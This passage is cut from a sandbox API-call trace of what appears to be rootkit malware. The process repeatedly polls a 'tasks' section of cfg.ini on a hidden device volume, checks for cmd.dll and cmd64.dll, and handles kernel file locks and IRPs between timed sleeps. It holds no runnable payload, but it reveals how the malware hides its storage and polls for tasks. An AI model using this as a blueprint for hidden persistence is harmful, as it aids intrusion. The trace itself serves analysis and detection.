FastMutex=0xfffffa80027d3898) [0130.086] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.086] KeLeaveCriticalRegion () [0130.086] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.086] KeEnterCriticalRegion () [0130.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.086] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.086] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.086] KeLeaveCriticalRegion () [0130.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.086] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.086] KeEnterCriticalRegion () [0130.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.086] ExFreePoolWithTag (P=0xfffffa8003c07180, Tag=0x0) [0130.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.086] KeLeaveCriticalRegion () [0130.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.086] ReleaseMutex (hMutex=0xf0) returned 1 [0130.086] Sleep (dwMilliseconds=0x927c0) [0130.101] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.102] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.102] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.102] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.102] KeEnterCriticalRegion () [0130.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.102] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.102] IdePortDispatch () returned 0x103 [0130.102] KeWaitForMutexObject () returned 0x0 [0130.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.102] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.102] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.102] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.102] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.102] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07130 [0130.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.102] KeLeaveCriticalRegion () [0130.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.102] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.102] KeEnterCriticalRegion () [0130.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.102] KeLeaveCriticalRegion () [0130.102] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.102] KeEnterCriticalRegion () [0130.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.102] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.103] IdePortDispatch () returned 0x103 [0130.103] KeWaitForMutexObject () returned 0x0 [0130.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.103] KeLeaveCriticalRegion () [0130.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.103] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.103] KeEnterCriticalRegion () [0130.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.103] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d23000 [0130.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.103] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.103] IdePortDispatch () returned 0x103 [0130.103] KeWaitForMutexObject () returned 0x0 [0130.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.103] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.103] IdePortDispatch () returned 0x103 [0130.104] KeWaitForMutexObject () returned 0x0 [0130.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.104] KeLeaveCriticalRegion () [0130.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.104] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.104] KeEnterCriticalRegion () [0130.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.104] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.104] KeLeaveCriticalRegion () [0130.104] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.104] KeEnterCriticalRegion () [0130.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.104] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.104] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.104] KeLeaveCriticalRegion () [0130.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.104] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.104] KeEnterCriticalRegion () [0130.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.105] ExFreePoolWithTag (P=0xfffffa8003c07130, Tag=0x0) [0130.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.105] KeLeaveCriticalRegion () [0130.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.105] ReleaseMutex (hMutex=0xf0) returned 1 [0130.105] Sleep (dwMilliseconds=0x927c0) [0130.120] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.120] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.120] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.121] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.121] KeEnterCriticalRegion () [0130.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.121] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.121] IdePortDispatch () returned 0x103 [0130.121] KeWaitForMutexObject () returned 0x0 [0130.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.121] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.121] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.121] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.121] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.121] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07180 [0130.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.121] KeLeaveCriticalRegion () [0130.121] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.121] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.121] KeEnterCriticalRegion () [0130.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.121] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.121] KeLeaveCriticalRegion () [0130.121] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.121] KeEnterCriticalRegion () [0130.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.121] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.121] IdePortDispatch () returned 0x103 [0130.122] KeWaitForMutexObject () returned 0x0 [0130.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.122] KeLeaveCriticalRegion () [0130.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.122] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.122] KeEnterCriticalRegion () [0130.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.122] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d28000 [0130.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.122] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.122] IdePortDispatch () returned 0x103 [0130.122] KeWaitForMutexObject () returned 0x0 [0130.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.122] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.122] IdePortDispatch () returned 0x103 [0130.123] KeWaitForMutexObject () returned 0x0 [0130.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.123] KeLeaveCriticalRegion () [0130.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.123] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.123] KeEnterCriticalRegion () [0130.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.123] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.123] KeLeaveCriticalRegion () [0130.123] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.123] KeEnterCriticalRegion () [0130.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.123] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.123] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.123] KeLeaveCriticalRegion () [0130.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.123] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.124] KeEnterCriticalRegion () [0130.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.124] ExFreePoolWithTag (P=0xfffffa8003c07180, Tag=0x0) [0130.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.124] KeLeaveCriticalRegion () [0130.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.124] ReleaseMutex (hMutex=0xf0) returned 1 [0130.124] Sleep (dwMilliseconds=0x927c0) [0130.140] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.140] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.140] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.140] KeEnterCriticalRegion () [0130.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.140] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.140] IdePortDispatch () returned 0x103 [0130.140] KeWaitForMutexObject () returned 0x0 [0130.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.140] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.140] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.140] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.140] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.140] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07130 [0130.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.140] KeLeaveCriticalRegion () [0130.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.140] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.140] KeEnterCriticalRegion () [0130.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.141] KeLeaveCriticalRegion () [0130.141] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.141] KeEnterCriticalRegion () [0130.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.141] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.141] IdePortDispatch () returned 0x103 [0130.141] KeWaitForMutexObject () returned 0x0 [0130.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.141] KeLeaveCriticalRegion () [0130.141] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.141] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.141] KeEnterCriticalRegion () [0130.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2d000 [0130.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.141] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.141] IdePortDispatch () returned 0x103 [0130.141] KeWaitForMutexObject () returned 0x0 [0130.142] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.142] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.142] IdePortDispatch () returned 0x103 [0130.142] KeWaitForMutexObject () returned 0x0 [0130.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.142] KeLeaveCriticalRegion () [0130.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.142] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.142] KeEnterCriticalRegion () [0130.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.142] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.142] KeLeaveCriticalRegion () [0130.143] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.143] KeEnterCriticalRegion () [0130.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.143] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.143] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cc20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.143] KeLeaveCriticalRegion () [0130.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.143] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.143] KeEnterCriticalRegion () [0130.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.143] ExFreePoolWithTag (P=0xfffffa8003c07130, Tag=0x0) [0130.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.143] KeLeaveCriticalRegion () [0130.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.143] ReleaseMutex (hMutex=0xf0) returned 1 [0130.143] Sleep (dwMilliseconds=0x927c0) [0130.158] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.158] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.158] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.158] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.158] KeEnterCriticalRegion () 